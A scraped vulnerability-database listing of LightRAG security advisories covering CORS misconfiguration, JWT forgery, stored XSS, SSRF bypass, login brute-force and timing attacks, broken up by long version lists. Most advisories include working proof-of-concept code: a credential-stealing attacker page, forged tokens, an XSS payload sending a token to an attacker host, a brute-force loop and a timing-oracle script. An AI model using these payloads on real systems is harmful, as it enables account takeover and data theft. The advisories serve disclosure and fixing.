            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Oct 03, 2025

1.4.9 patch

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


